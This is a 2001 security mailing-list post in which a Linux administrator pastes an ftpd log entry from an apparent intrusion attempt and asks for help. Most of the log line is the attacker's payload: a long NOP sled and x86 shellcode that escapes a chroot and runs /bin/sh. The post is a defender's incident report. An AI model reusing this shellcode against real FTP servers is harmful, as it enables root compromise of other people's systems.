Security Incidents mailing list archives

Linux ftpd


From: mrcbis () tin it
Date: Sat, 9 Jun 2001 17:02:25 +0200


I have a linux-box running slackware 7.1 with kernel 2.2.18 acting as
office-server; we have an internet-connection in dial-up to an ISP near us.
Today I was looking into log-files, I found, in /var/log/messages the
following message:
Jun  3 21:30:05 sassuolo ftpd[24355]: ANONYMOUS FTP LOGIN FROM
202.239.131.55 [2
02.239.131.55],
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
<90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
<90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
<90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
<90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
<90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
<90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
<90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
<90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
<90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
<90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
<90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
<90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
<90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
<90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
<90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
<90>
<90><90><90><90><90><90><90><90><90><90><90>1<C0>1<DB>1<C9><B0>F<CD><80>1<C
0>1
<DB>C<89><D9>A<B0>?<CD><80><EB>k^1<C0>1<C9><8D>^^A<88>F^Df<B9><FF>^A<B0>'<C
D>
<80>1<C0><8D>^^A<B0>=<CD><80>1<C0>1<DB><8D>^^H<89>C^B1<C9><FE><C9>1<C0><8
D>^^H
<B0>^L<CD><80><FE><C9>u<F3>1<C0><88>F^I<8D>^^H<B0>=<CD><80><FE>^N<B0>0<FE
<C8>
<88>F^D1<C0><88>F^G<89>v^H<89>F^L<89><F3><8D>N^H<8D>V^L<B0>^K<CD><80>1<C0>1
<DB>
<B0>^A<CD><80><E8><90><FF><FF><FF>0bin0sh1..11


repeated twice within few minutes. I think it was an intrusion attempt. My
linux-box is connected to the internet with dynamic-ip-address. Can
someone help me ? 
Best regards


                                                Marco Bisio


Current thread: